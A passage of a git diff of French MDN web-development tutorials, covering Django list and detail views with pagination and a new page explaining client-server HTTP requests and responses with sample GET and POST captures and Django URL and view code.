Note : Ici nous utilisons all() pour récupérer tous les enregistrements (comportement par défaut). Bien que vous puissiez utiliser la méthode filter() pour obtenir un sous-ensemble d'enregistrements dans le code, vous ne pouvez faire cela directement dans le template, parce que vous ne pouvez pas spécifier d'arguments dans les fonctions.

- -

Prenez garde également que, si vous ne définissez pas un ordre (dans votre vue basée sur classe ou votre modèle), vous allez voir des erreurs de ce genre en provenance du serveur de développement :

- -
[29/May/2017 18:37:53] "GET /catalog/books/?page=1 HTTP/1.1" 200 1637
-/foo/local_library/venv/lib/python3.5/site-packages/django/views/generic/list.py:99: UnorderedObjectListWarning: Pagination may yield inconsistent results with an unordered object_list: <QuerySet [<Author: Ortiz, David>, <Author: H. McRaven, William>, <Author: Leigh, Melinda>]>
-  allow_empty_first_page=allow_empty_first_page, **kwargs)
-
- -

Ceci vient du fait que l'objet paginator s'attend à ce qu'un ORDER BY soit exécuté sur votre base de données sous-jacente. Sans cela il ne peut pas être sûr que les enregistrements retournés sont vraiment dans le bon ordre !

- -

Ce tutoriel n'a pas (encore !) traité de la pagination, mais comme vous ne pouvez pas utiliser sort_by() et passer un paramètre (pour la même raison que le filter() décrit précédemment), vous avez le choix entre trois options :

- -
    -
  1. Ajouter un ordering lors de la déclaration de la class Meta dans votre modèle.
    2. -
  2. Ajouter un attribut queryset dans votre vue personnalisée basée sur classe, en spécifiant un order_by().
    3. -
  3. Ajouter une méthode get_queryset à votre vue personnalisée basée sur classe, et préciser de même un order_by().
    4. -
- -

Si vous décidez d'ajouter une class Meta au modèle Author (solution peut-être pas aussi flexible que personnalier la vue basée sur classe, mais assez facile), vous allez vous retrouver avec quelque chose de ce genre :

- -
class Author(models.Model):
-    first_name = models.CharField(max_length=100)
-    last_name = models.CharField(max_length=100)
-    date_of_birth = models.DateField(null=True, blank=True)
-    date_of_death = models.DateField('Died', null=True, blank=True)
-
-    def get_absolute_url(self):
-        return reverse('author-detail', args=[str(self.id)])
-
-    def __str__(self):
-        return f'{self.last_name}, {self.first_name}'
-
-    class Meta:
-        ordering = ['last_name']
- -

Bien sûr le champ n'est pas forcément last_name : ce pourrait être un autre champ.

- -

Dernier point, mais non le moindre : vous devriez trier les données par un attribut/colonne qui a réellement un index (unique ou pas) dans votre base de données, afin d'éviter des problèmes de performance. Bien sûr ce n'est pas requis ici (ce serait un peu exagéré avec si peu de livres et d'utilisateurs), mais il vaut mieux avoir cela à l'esprit pour de futurs projets.

-
- -

À quoi cela ressemble-t-il ?

- -

À ce point, nous devrions avoir créé tout ce qu'il faut pour afficher à la fois la liste des livres et les pages de détail pour chaque livre. Lancez le serveur (python3 manage.py runserver) et ouvrez votre navigateur à l'adresse http://127.0.0.1:8000/.

- -
-

Attention : Ne cliquez pas sur les liens vers le détail des auteurs : vous allez les créer lors du prochain défi !

-
- -

Cliquez sur le lien Tous les livres pour afficher la liste des livres.

- -

Book List Page

- -

Ensuite cliquez sur un lien dirigeant vers l'un de vos livres. Si tout est réglé correctement, vous allez voir quelque chose de semblable à la capture d'écran suivante :

- -

Book Detail Page

- -

Pagination

- -

Si vous avez seulement quelques enregistrements, notre page de liste de livres aura une bonne apparence. Mais si vous avez des dizaines ou des centaines d'enregistrements, la page va progressivement devenir plus longue à charger (et aura beaucoup trop de contenu pour naviguer de manière raisonnable). La solution à ce problème est d'ajouter une pagination à vos vues listes, en réduisant le nombre d'éléments affichés sur chaque page.

- -

Django a d'excellents outils pour la pagination. Mieux encore, ces outils sont intégrés dans les vues listes génériques basées sur classes, aussi n'avez-vous pas grand chose à faire pour les activer !

- -

Vues

- -

Ouvrez catalog/views.py, et ajoutez la ligne paginate_by, en gras ci-dessous.

- -
class BookListView(generic.ListView):
-    model = Book
-    paginate_by = 10
- -

Avec cet ajout, dès que vous aurez plus de 10 enregistrements, la vue démarrera la pagination des données qu'elle envoie au template. Les différentes pages sont obtenues en utilisant le paramètre GET : pour obtenir la page 2, vous utiliseriez l'URL /catalog/books/?page=2.

- -

Templates

- -

Maintenant que les données sont paginées, nous avons besoin d'ajouter un outil au template pour parcourir l'ensemble des résultats. Et parce que nous voudrons sûrement faire cela pour toutes les listes vues, nous allons le faire d'une manière qui puisse être ajoutée au template de base.

- -

Ouvrez /locallibrary/catalog/templates/base_generic.html, et copiez-y, sous notre bloc de contenu, le bloc de pagination suivant (mis en gras ci-dessous). Le code commence par vérifier si une pagination est activée sur la page courante. Si oui, il ajoute les liens "précédent" et "suivant" appropriés (et le numéro de la page courante).

- -
{% block content %}{% endblock %}
-
-  {% block pagination %}
-    {% if is_paginated %}
-        <div class="pagination">
-            <span class="page-links">
-                {% if page_obj.has_previous %}
-                    <a href="\{{ request.path }}?page=\{{ page_obj.previous_page_number }}">previous</a>
-                {% endif %}
-                <span class="page-current">
-                    Page \{{ page_obj.number }} of \{{ page_obj.paginator.num_pages }}.
-                </span>
-                {% if page_obj.has_next %}
-                    <a href="\{{ request.path }}?page=\{{ page_obj.next_page_number }}">next</a>
-                {% endif %}
-            </span>
-        </div>
-    {% endif %}
-  {% endblock %} 
- -

Le page_obj est un objet Paginator qui n'existera que si une pagination est utilisée dans la page courante. Cet objet vous permet de récupérer toutes les informations sur la page courante, les pages précédentes, combien il y a de pages au total, etc.

- -

Nous utilisons \{{ request.path }} pour récupérer l'URL de la page courante, afin de créer les liens de pagination. Cela est utile, car cette variable est indépendante de l'objet que nous sommes en train de paginer.

- -

C'est tout !

- -

À quoi cela ressemble-t-il ?

- -

La capture d'écran ci-dessous montre à quoi ressemble la pagination. Si vous n'avez pas entré plus de 10 titres dans votre base de données, vous pouvez tester plus facilement cette pagination en diminuant le nombre spécifié à la ligne paginate_by dans votre  fichier catalog/views.py. Pour obtenir le résultat ci-dessous, nous avons changé la ligne en paginate_by = 2.

- -

Les liens de pagination sont affichés en bas de la page, avec les liens suivant/précédent affichés selon la page sur laquelle nous nous trouvons.

- -

Book List Page - paginated

- -

Mettez-vous vous-même au défi !

- -

Le challenge dans cet article consiste à créer les vues détail et liste nécessaires à l'achèvement du projet. Ces pages devront être accessibles aux URLs suivantes :

- -
    -
  • catalog/authors/ — La liste de tous les auteurs.
    • -
  • catalog/author/<id> — La vue détail pour un auteur précis, avec un champ clé-primaire appelé <id>.
    • -
- -

Le code requis pour le mappeur d'URL et les vues sera virtuellement identique aux vues liste et détail du modèle Book, créées ci-dessus. Les templates seront différents, mais auront un comportement semblable.

- -
-

Note:

- -
    -
  • Une fois que vous aurez créé le mappeur d'URL pour la page "liste d'auteurs", vous aurez besoin de mettre aussi à jour le lien All authors dans le template de base. Suivez la même procédure que celle adoptée quand nous avons mis à jour le lien All books.
    • -
  • Une fois créé le mappeur d'URL pour la page de détails sur l'auteur, vous devrez aussi mettre à jour le template de la vue détail d'un livre (/locallibrary/catalog/templates/catalog/book_detail.html), de sorte que le lien vers l'auteur pointe vers votre nouvelle page de détails sur l'auteur (au lieu d'être une URL vide). La ligne va avoir comme changement la balise montrée en gras ci-dessous. - 
    <p><strong>Author:</strong> <a href="{% url 'author-detail' book.author.pk %}">\{{ book.author }}</a></p>
-
    -
    • -
-
- -

Quand vous aurez fini, vos pages vont ressembler aux captures d'écran suivantes.

- -

Author List Page

- -
    -
- -

Author Detail Page

- -
    -
- -

Résumé

- -

Félicitations ! Notre application basique pour bibliothèque est maintenant terminée.

- -

Dans cet article, nous avons appris comment utiliser les vues génériques basées sur classe "liste" et "détail", et nous les avons utilisées pour créer des pages permettant de voir nos livres et nos auteurs. Au passage nous avons appris la recherche d'un pattern d'URL grâce aux expressions régulières, et la manière de passer des données depuis les URLs vers les vues. Nous avons aussi appris quelques trucs supplémentaires pour mieux utiliser les templates. Et en dernier nous vous avons montré comment paginer les vues liste, de façon à pouvoir gérer des listes même avec beaucoup d'enregistrements.

- -

Dans les articles que nous vous présenterons ensuite, nous améliorerons cette application pour intégrer des comptes utilisateurs, et nous allons donc vous montrer comment gérer l'authentification des utilisateurs, les permissions, les sessions et les formulaires.

- -

Voyez aussi

- - - -

{{PreviousMenuNext("Learn/Server-side/Django/Home_page", "Learn/Server-side/Django/Sessions", "Learn/Server-side/Django")}}

- -

In this module

- - diff --git a/files/fr/learn/server-side/first_steps/client-server_overview/index.html b/files/fr/learn/server-side/first_steps/client-server_overview/index.html new file mode 100644 index 0000000000..f20b96e64d --- /dev/null +++ b/files/fr/learn/server-side/first_steps/client-server_overview/index.html @@ -0,0 +1,316 @@ +--- +title: La relation Client-Serveur +slug: Learn/Server-side/Premiers_pas/Client-Serveur +translation_of: Learn/Server-side/First_steps/Client-Server_overview +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/Server-side/First_steps/Introduction", "Learn/Server-side/First_steps/Web_frameworks", "Learn/Server-side/First_steps")}}
+ +

Maintenant que vous connaissez le but et le bénéfice de la programmation côté serveur, nous allons analyser en détails ce qui se passe quand un serveur reçoit une requête dynamique de la part d'un navigateur. Comme la plupart des sites gèrent le code côté serveur (requêtes et réponses) de la même manière, cela vous aidera à comprendre ce que vous devrez faire ensuite en écrivant votre propre code.

+ + + + + + + + + + + + +
Prérequis :Compréhension basique des notions informatiques et de ce qu'est un serveur web.
Objectif :Comprendre les interactions client-serveur sur un site dynamique et particulièrement quelles opérations devront être effectuées par le code côté serveur.
+ +

Il n'y a pas de code "réel" dans la suite de cette présentation parce que nous n'avons pas encore choisi un framework web à utiliser pour écrire notre code ! Ce tutoriel est quand même trés pertinent car les comportements décrits doivent être implémentés par votre code côté serveur, sans qu'il ait à se soucier (le serveur...)   de quel langage de programmation ou framework vous vous servez.

+ +

Serveurs Web et HTTP (un avant-goût)

+ +

Les navigateurs web communiquent avec les serveurs web avec le protocole HTTP : HyperTextTransfer Protocol. Quand vous cliquez un lien sur une page, soumettez un formulaire ou lancez une recherche, le navigateur envoie une requête HTTP (HTTP Request) au serveur.

+ +

Cette requête inclut :

+ +
    +
  • Une URL identifiant la cible et la ressource (un fichier HTML, un point particulier de données sur le serveur ou un outil à lancer).
    • +
  • Une méthode qui définit l'action requise ( par exemple récupérer un fichier ou sauvegarder certaines données ou mises à jour). Les différentes méthodes/verbes et les actions associées sont listées ci-dessous : +
      +
    • GET: Récupérer une ressource spécifique, par exemple un fichier html contenant des informations sur un produit ou une liste de produits.
      • +
    • POST: Crée une ressource comme un nouvel article dans un wiki, ajouter un contact dans une base de données, enregistrer les données d'un formulaire d'inscription...
      • +
    • +

      HEAD: Récupérer les informations "metadata" d'une ressource spécifique sans le "body" comme ferait GET. Vous pouvez utiliser une requête HEAD pour, par exemple, la date de dernière mise à jour d'une ressource puis, utiliser GET (plus "coûteuse") seulement si la ressource a été changée.

      +
      • +
    • PUT: Met à jour une ressource existante ou en crée une si elle n'existe pas.
      • +
    • DELETE: Supprime la ressource spécifiée.
      • +
    • TRACE, OPTIONS, CONNECT, PATCH: ces verbes sont utilisés pour des tâches moins communes ou plus avancées nous ne les couvrirons donc pas ici.
      • +
    +
    • +
  • Des informations complémentaires peuvent être encodées avec la requête (des données de formulaire HTML par exemple). Ces informations peuvent être encodées comme : +
      +
    • Paramètres URL : les requêtes  GET encodent les données dans l'URL envoyée au serveur en ajoutant des paires nom/valeur en fin de celle-ci. Exemple : http://mysite.com?name=Fred&age=11.    Il y a toujours un point d'interrogation (?) séparant le début de l'URL des paramètres passés. Ainsi qu'un signe égal (=) séparant le nom de la valeur associée et une esperluette (&) séparant chaque paire. Les paramètres URL ne sont pas sécurisés car ils peuvent être changés et soumis une deuxième fois par l'utilisateur. Pour cette raison, les requêtes URL paramètres/GET requests ne sont pas utilisées pour des requêtes mettant à jour des données sur un serveur.
      • +
    +
    • +
  • POST data.  Les requêtes POST ajoutent de nouvelles ressources dont les données sont encodées dans le corps de la requête.
    • +
  • Cookies côté Client.  Contient les données de session du client, incluant les clés dont peut se servir le serveur pour déterminer le statut de login et les accés/permissions aux ressources.
    • +
+ +

Les serveurs Web attendent une requête du client puis la traitent quand elle arrive. Il répond ensuite au navigateur avec un message HTTP Response. La réponse contient un statut HTTP Response indiquant si, oui ou non, la requête a abouti. (ex : "200 OK" pour un succés, "404 Not Found" si la ressource ne peut être trouvée, "403 Forbidden" si l'utilisateur n'est pas autorisé à voir la ressource etc. Le corps d'une réponse aboutie à une requête  GET contiendrait la ressource demandée.

+ +

Quand une page HTML est retournée, elle est affichée par le navigateur. Le navigateur, nativement, pourra découvrir des liens vers d'autres ressources (ex : une page HTML intégre habituellement des pages JavaScript et CSS ), et enverra des requêtes séparées pour télécharger ces fichiers.

+ +

Les sites web dynamiques ou statiques (voir sections suivantes) utilisent les mêmes protocoles/modèles de communication.

+ +

Exemple de requête/réponse GET 

+ +

Vous faites une simple requête GET en cliquant sur un lien ou en faisant une recherche sur un site (sur une page de moteur de recherche par exemple). Une requête HTTP envoyée lorsque vous effectuez une recherche sur MDN pour les termes : "La relation Client-Serveur" ressemblera beaucoup à ce qui suit mais ne sera pas identique car des parties du message dépendent des paramètres de votre navigateur.

+ +
+

Le format des messsages HTTP est défini par un standard web  (RFC7230). Vous n'avez pas besoin de connaître ce niveau de détails mais vous saurez au moins d'où vient tout ça !

+
+ +

La requête

+ +

Chaque ligne de la requête contient des informations sur celle-ci. La première partie est appelée l'en-tête ( header) et contient beaucoup de données utiles. De la même manière qu'un HTML head contient des informations utiles (pas le contenu réel qui lui, se trouve dans le corps (body) :

+ +
GET https://developer.mozilla.org/en-US/search?q=la+relation+Client+-+serveur&topic=apps&topic=html&topic=css&topic=js&topic=api&topic=webdev HTTP/1.1
+Host: developer.mozilla.org
+Connection: keep-alive
+Pragma: no-cache
+Cache-Control: no-cache
+Upgrade-Insecure-Requests: 1
+User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
+Referer: https://developer.mozilla.org/en-US/
+Accept-Encoding: gzip, deflate, sdch, br
+Accept-Charset: ISO-8859-1,UTF-8;q=0.7,*;q=0.7
+Accept-Language: en-US,en;q=0.8,es;q=0.6
+Cookie: sessionid=6ynxs23n521lu21b1t136rhbv7ezngie; csrftoken=zIPUJsAZv6pcgCBJSCj1zU6pQZbfMUAT; dwf_section_edit=False; dwf_sg_task_completion=False; _gat=1; _ga=GA1.2.1688886003.1471911953; ffo=true
+
+ +

Les premières et secondes lignes contiennent la plupart des données déjà évoquées précédemment :

+ +
    +
  • Le type de la requête (GET).
    • +
  • La cible de la  ressource URL (/en-US/search).
    • +
  • Les paramètres URL (q=La%2relation%2Client%2-%2Bserveur&topic=apps&topic=html&topic=css&topic=js&topic=api&topic=webdev).
    • +
  • Le site web cible/hôte (developer.mozilla.org).
    • +
  • La fin de la première ligne inclut aussi une petite chaîne identifiant la version spécifique du protocole (HTTP/1.1).
    • +
+ +

La dernière ligne contient des données sur les cookies côté client — vous observerez que dans ce cas, le cookie a une id pour gérer la session :    (Cookie: sessionid=6ynxs23n521lu21b1t136rhbv7ezngie; ...).

+ +

Les lignes restantes concernent le navigateur utilisé et les sortes de réponses qu'il peut accepter. Par exemple, vous pouvez voir ceci :

+ +
    +
  • Mon navigateur (User-Agent) est Mozilla Firefox (Mozilla/5.0).
    • +
  • Il accepte les données compressées (Accept-Encoding: gzip).
    • +
  • Il accepte les familles de caractères suivantes :  (Accept-Charset: ISO-8859-1,UTF-8;q=0.7,*;q=0.7) et pour les langages : (Accept-Language: de,en;q=0.7,en-us;q=0.3).
    • +
  • La ligne Referer indique l'adresse de la page web qui contenait le lien vers cette ressource (Par ex. l'origine de la requête : https://developer.mozilla.org/en-US/).
    • +
+ +

Les requêtes HTTP peuvent aussi avoir un corps mais dans ce cas précis, il est vide.

+ +

La réponse

+ +

La première partie de la réponse à cette requête est détaillée ci-dessous. L'en-tête contient les données suivantes :

+ +
    +
  • La première ligne embarque le code 200 OK, qui nous dit que la requête a abouti.
    • +
  • Nous pouvons voir que la réponse est formatée en  text/html (Content-Type).
    • +
  • On remarque qu'elle utilise l'ensemble des caractères UTF-8 (Content-Type: text/html; charset=utf-8).
    • +
  • L'en-tête indique aussi la taille (Content-Length: 41823).
    • +
+ +

À la fin du message nous avons le contenu du corps  — lequel contient le "vrai" HTML demandé par la requête.

+ +
HTTP/1.1 200 OK
+Server: Apache
+X-Backend-Server: developer1.webapp.scl3.mozilla.com
+Vary: Accept,Cookie, Accept-Encoding
+Content-Type: text/html; charset=utf-8
+Date: Wed, 07 Sep 2016 00:11:31 GMT
+Keep-Alive: timeout=5, max=999
+Connection: Keep-Alive
+X-Frame-Options: DENY
+Allow: GET
+X-Cache-Info: caching
+Content-Length: 41823
+
+
+
+<!DOCTYPE html>
+<html lang="en-US" dir="ltr" class="redesign no-js"  data-ffo-opensanslight=false data-ffo-opensans=false >
+<head prefix="og: http://ogp.me/ns#">
+  <meta charset="utf-8">
+  <meta http-equiv="X-UA-Compatible" content="IE=Edge">
+  <script>(function(d) { d.className = d.className.replace(/\bno-js/, ''); })(document.documentElement);</script>
+  ...
+
+ +

Le reste de l'en-tête de la réponse contient des informations sur la réponse elle-même (quand elle a été générée), sur le serveur et comment le navigateur doit gérer la page ( X-Frame-Options: DENY cette ligne dit au navigateur de ne pas autoriser cette page a être intégrée dans une  {{htmlelement("iframe")}} dans un autre site).

+ +

Exemple de requête/réponse POST

+ +

Un POST HTTP est effectué lorsque vous soumettez un formulaire contenant des données à sauvegarder sur le serveur.

+ +

La requête

+ +

Le texte ci-dessous montre une requête HTTP faite quand un utlisateur soumet un nouveaux profil sur ce site. Le format de la requête est presque le même que celui de la requête GET vue précédemment, bien que la première ligne identifie cette requête comme un POST. 

+ +
POST https://developer.mozilla.org/en-US/profiles/hamishwillee/edit HTTP/1.1
+Host: developer.mozilla.org
+Connection: keep-alive
+Content-Length: 432
+Pragma: no-cache
+Cache-Control: no-cache
+Origin: https://developer.mozilla.org
+Upgrade-Insecure-Requests: 1
+User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36
+Content-Type: application/x-www-form-urlencoded
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
+Referer: https://developer.mozilla.org/en-US/profiles/hamishwillee/edit
+Accept-Encoding: gzip, deflate, br
+Accept-Language: en-US,en;q=0.8,es;q=0.6
+Cookie: sessionid=6ynxs23n521lu21b1t136rhbv7ezngie; _gat=1; csrftoken=zIPUJsAZv6pcgCBJSCj1zU6pQZbfMUAT; dwf_section_edit=False; dwf_sg_task_completion=False; _ga=GA1.2.1688886003.1471911953; ffo=true
+
+csrfmiddlewaretoken=zIPUJsAZv6pcgCBJSCj1zU6pQZbfMUAT&user-username=hamishwillee&user-fullname=Hamish+Willee&user-title=&user-organization=&user-location=Australia&user-locale=en-US&user-timezone=Australia%2FMelbourne&user-irc_nickname=&user-interests=&user-expertise=&user-twitter_url=&user-stackoverflow_url=&user-linkedin_url=&user-mozillians_url=&user-facebook_url=
+ +

La principale différence est que l'URL ne comporte pas de paramètres.  Comme vous voyez, l'information du formulaire est encodée dans le corps de la requête (par exemple : le nom complet du nouvel utilisateur est paramétré avec  &user-fullname=Hamish+Willee).

+ +

La réponse

+ +

La réponse à la requête est expliquée dessous. Le statut "302 Found" dit au navigateur que le post a abouti et qu'il peut délivrer une deuxième requête HTTP pour charger la page spécifiée dans le champ  Location. L'information est donc en cela similaire à une réponse de requête GET.

+ +
HTTP/1.1 302 FOUND
+Server: Apache
+X-Backend-Server: developer3.webapp.scl3.mozilla.com
+Vary: Cookie
+Vary: Accept-Encoding
+Content-Type: text/html; charset=utf-8
+Date: Wed, 07 Sep 2016 00:38:13 GMT
+Location: https://developer.mozilla.org/en-US/profiles/hamishwillee
+Keep-Alive: timeout=5, max=1000
+Connection: Keep-Alive
+X-Frame-Options: DENY
+X-Cache-Info: not cacheable; request wasn't a GET or HEAD
+Content-Length: 0
+
+ +
+

Note : Les requêtes et réponses montrées dans ces exemples ont été capturées avec l'application Fiddler , mais vous pouvez avoir des informations similaires en utilisant des "renifleurs" web  (e.g. Websniffer, Wireshark) ou des extensions de navigateur comme  HttpFox. Vous pouvez essayer seul. Utilisez tous les outils recommandés, naviguez sur des sites et  éditez des profils de données pour explorer les différentes requêtes et réponses. La plupart des navigateurs modernes ont aussi des outils qui gérent les requêtes réseau, par exemple le Network Monitor dans Firefox).

+
+ +

Les sites statiques

+ +

Un site statique renvoie le même contenu codé en dur depuis le serveur quelle que soit la ressource demandée. Si vous avez une page concernant un produit à l'adresse  /static/myproduct1.html, cette même page sera retournée à chaque utilisateur. Si vous ajoutez un nouveau produit, vous devez ajouter une nouvelle page (par ex : myproduct2.html) et ainsi de suite. Cela peut être vraiment inefficace — Comment faire quand vous avez des milliers de pages "produit" à faire ? Vous allez répéter beaucoup de code identique dans chaque page (le modèle de base de la page, sa structure, etc.) et si vous voulez changer quoique ce soit dans la structure de la page — comme une section "produits dérivés" par exemple — alors, il faudra changer chaque page individuellement..

+ +
+

Note : Les sites statiques sont trés efficace quand vous avez un petit nombre de pages et que vous voulez envoyer le même contenu à chaque utilisateur. De toutes façons, ils peuvent avoir un coût certain de maintenance au fur et à mesure de l'augmentation du nombre de pages.

+
+ +

Voyons comment tout cela marche en révisant un diagramme d'architecture de site statique vu dans l'article précédent.

+ +

A simplified diagram of a static web server.

+ +

Quand un utilisateur veut naviguer jusqu'à une page, le navigateur envoie une requête HTTP GET spécifiant l'URL de sa page HTML. Le serveur retourne le document demandé depuis son système de fichiers et retourne une réponse  HTTP contenant le document et un  HTTP Response status code ( statut codé de la réponse HTTP) qui est  "200 OK" (indiquant le succés de l'opération). Le serveur peut retourner un statut différent, par exemple "404 Not Found"  si le fichier est absent sur le serveur , ou bien "301 Moved Permanently" si le fichier existe mais a été déplacé vers une nouvelle localisation.

+ +

Le serveur d'un site statique n'aura à faire face qu'à des requêtes  GET vu qu'il ne stocke aucune donnée modifiable. Il ne change pas non plus ses réponses basées sur les données des requêtes HTTP (c'est à dire les paramètres URL ou les cookies). 

+ +

Comprendre comment fonctionnent les sites statiques est sans aucun doute trés utile à l'apprentissage de la programmation côté serveur car les sites dynamiques gèrent les requêtes pour les fichiers statiques (CSS, JavaScript, images statiques , etc.) exactement de la même manière.

+ +

Les sites dynamiques

+ +

Un site dynamique peut générer et retourner du contenu basé sur une requête URL spécifique et les données (plutôt que de toujours renvoyer le même fichier codé en dur à une URL particulière).  Toujours avec l'exemple d'un site "produits", le serveur stockera les données du produit dans une base de données plutôt que dans un fichier HTML individuel. Quand il reçoit une requête HTTP GET pour un produit, le serveur détermine l'ID du produit, va chercher les données dans la base de données puis construit la page HTML pour la réponse en intégrant les données dans un gabarit (template) HTML. C'est un avantage indéniable sur un site statique :

+ +

Utiliser une base de données permet à l'information "produit" d'être stockée efficacement, en étant modifiable, extensible et bien indexée.

+ +

Employer des gabarits HTML facilite la façon de changer la structure HTML parce que c'est fait en un seul endroit, dans un seul gabarit (template) et non pas sur potentiellement des milliers de pages statiques.

+ +

Anatomie d'un requête dynamique

+ +

Cette section présente une vue d'ensemble du cycle dynamique HTTP de requête/réponse, construit avec ce que nous avons vu précédemment avec de plus amples détails. Toujours dans l'optique de "faire les choses en réel" nous utiliserons le contexte du site d'une équipe de sport où l'entraîneur peut sélectionner le nom de l'équipe et le nombre de joueurs dans un formulaire HTML et avoir en retour une suggestion "Meilleure composition" pour le prochain match.

+ +

Le diagramme ci-dessous montre les principaux éléments du site Web "entraîneur d'équipe", ainsi que des étiquettes numérotées pour la séquence des opérations lorsque l'entraîneur accède à la liste "meilleure équipe". Les parties du site qui le rendent dynamique sont l’application Web (c’est ainsi que nous nous référerons au code côté serveur qui traite les requêtes HTTP et renvoie les réponses HTTP), la base de données, qui contient des informations sur les joueurs, les équipes, les entraîneurs et leurs partenaires. relations, et les modèles HTML.

+ +

This is a diagram of a simple web server with step numbers for each of step of the client-server interaction.

+ +

Une fois que l’entraîneur a soumis le formulaire avec le nom de l’équipe et le nombre de joueurs, la séquence des opérations est la suivante:

+ +
    +
  1. Le navigateur Web crée une requête HTTP GET au serveur en utilisant l’URL de base de la ressource (/ best) et en codant l’équipe et le numéro du joueur sous forme de paramètres d’URL (par exemple / best? team=my_team_name&show = 11) ou dans le cadre de l’URL modèle (par exemple / best / my_team_name / 11 /). Une requête GET est utilisée car la requête extrait uniquement des données (sans les modifier).
    2. +
  2. Le serveur Web détecte que la demande est "dynamique" et la transmet à l'application Web pour traitement (le serveur Web détermine comment gérer différentes URL en fonction des règles de correspondance de modèle définies dans sa configuration).
    3. +
  3. L'application Web identifie l'objectif de la demande d'obtenir la "meilleure liste d'équipes" en fonction de l'URL (/ best /) et recherche le nom d'équipe requis et le nombre de joueurs à partir de l'URL. L'application Web obtient alors les informations requises de la base de données (en utilisant des paramètres "internes" supplémentaires pour définir quels joueurs sont les "meilleurs", et éventuellement en obtenant également l'identité de l'entraîneur connecté à partir d'un cookie côté client).
    4. +
  4. L'application Web crée dynamiquement une page HTML en plaçant les données (de la base de données) dans des espaces réservés dans un modèle HTML.
    5. +
  5. L'application Web renvoie le code HTML généré au navigateur Web (via le serveur Web), ainsi qu'un code d'état HTTP de 200 ("success"). Si quoi que ce soit empêche le code HTML d'être renvoyé, l'application Web renvoie un autre code, par exemple "404" pour indiquer que l'équipe n'existe pas.
    6. +
  6. Le navigateur Web commence alors à traiter le code HTML renvoyé, en envoyant des demandes distinctes pour obtenir tous les fichiers CSS ou JavaScript qu’il référence (voir étape 7).
    7. +
  7. Le serveur Web charge les fichiers statiques à partir du système de fichiers et les renvoie directement au navigateur (là encore, le traitement correct des fichiers est basé sur les règles de configuration et la correspondance des types d'URL).
    8. +
+ +

Une opération de mise à jour d'un enregistrement dans la base de données serait gérée de la même manière, sauf que, comme toute mise à jour de base de données, la demande HTTP du navigateur devrait être codée en tant que demande POST.

+ +

que faire d'autre?

+ +

Le travail d'une application Web consiste à recevoir des requêtes HTTP et à renvoyer des réponses HTTP. Bien que l'interaction avec une base de données pour obtenir ou mettre à jour des informations soit une tâche très courante, le code peut faire d'autres choses en même temps, ou ne pas interagir du tout avec une base de données.Un bon exemple de tâche supplémentaire qu'une application Web pourrait exécuter serait l'envoi d'un courrier électronique aux utilisateurs pour confirmer leur inscription sur le site. Le site peut également effectuer une journalisation ou d’autres opérations.

+ +

Renvoyer autre chose que  du HTML

+ +

Le code de site Web côté serveur ne doit pas nécessairement renvoyer des extraits / fichiers HTML dans la réponse. Au lieu de cela, il peut créer et renvoyer de manière dynamique d'autres types de fichiers (texte, PDF, CSV, etc.) ou même des données (JSON, XML, etc.).L'idée de renvoyer des données à un navigateur Web afin qu'il puisse mettre à jour de manière dynamique son propre contenu ({{glossary ("AJAX")}}) existe depuis un certain temps. Plus récemment, les "applications à page unique" sont devenues populaires, le site Web entier étant écrit avec un seul fichier HTML mis à jour de manière dynamique en cas de besoin. Les sites Web créés à l'aide de ce style d'application génèrent des coûts de calcul considérables entre le serveur et le navigateur Web, ce qui peut donner l'impression que les sites Web se comportent beaucoup plus comme des applications natives (très réactives, etc.).

+ +

Les frameworks Web simplifient la programmation Web côté serveur

+ +

Les infrastructures Web côté serveur facilitent beaucoup la rédaction de code permettant de gérer les opérations décrites ci-dessus.L’une des opérations les plus importantes qu’ils effectuent consiste à fournir des mécanismes simples pour mapper les URL de différentes ressources / pages à des fonctions de gestionnaire spécifiques. Cela facilite la séparation du code associé à chaque type de ressource. Cela présente également des avantages en termes de maintenance, car vous pouvez modifier l'URL utilisée pour fournir une fonctionnalité particulière à un endroit, sans avoir à changer la fonction de gestionnaire.Par exemple, considérons le code Django (Python) suivant qui mappe deux modèles d'URL à deux fonctions d'affichage. Le premier modèle garantit qu'une requête HTTP avec une URL de ressource / best sera transmise à une fonction nommée index () dans le module views. Une demande qui a pour motif "/ best / junior" sera plutôt transmise à la fonction d'affichage junior ().

+ +
# file: best/urls.py
+#
+
+from django.conf.urls import url
+
+from . import views
+
+urlpatterns = [
+    # example: /best/
+    url(r'^$', views.index),
+    # example: /best/junior/
+    url(r'^junior/$', views.junior),
+]
+ +
+

Note: Les premiers paramètres des fonctions url () peuvent paraître un peu bizarres (par exemple, r '^ junior / $') car ils utilisent une technique de correspondance de modèle appelée "expressions régulières" (RegEx ou RE). Vous n'avez pas besoin de savoir comment fonctionnent les expressions régulières à ce stade, car elles nous permettent également de faire correspondre les modèles de l'URL (plutôt que les valeurs codées en dur ci-dessus) et de les utiliser comme paramètres dans nos fonctions d'affichage. À titre d'exemple, un RegEx très simple pourrait dire "faire correspondre une seule lettre majuscule, suivie de 4 à 7 lettres minuscules".

+
+ +
L'infrastructure Web permet également à une fonction d'affichage d'extraire facilement des informations de la base de données. La structure de nos données est définie dans des modèles, qui sont des classes Python qui définissent les champs à stocker dans la base de données sous-jacente. Si nous avons un modèle nommé Team avec un champ "team_type", nous pouvons utiliser une syntaxe de requête simple pour récupérer toutes les équipes ayant un type particulier.
+ +
L’exemple ci-dessous donne la liste de toutes les équipes ayant le type d’équipe exact (sensible à la casse) de "junior" - notez le format: nom du champ (team_type) suivi du  double underscore, puis du type de match à utiliser (ici nous utilisons: exact). ). Il existe de nombreux autres types de match et nous pouvons les enchaîner. Nous pouvons également contrôler l'ordre et le nombre de résultats retournés.
+ +
+ +
#best/views.py
+
+from django.shortcuts import render
+
+from .models import Team
+
+
+def junior(request):
+    list_teams = Team.objects.filter(team_type__exact="junior")
+    context = {'list': list_teams}
+    return render(request, 'best/index.html', context)
+
+ +

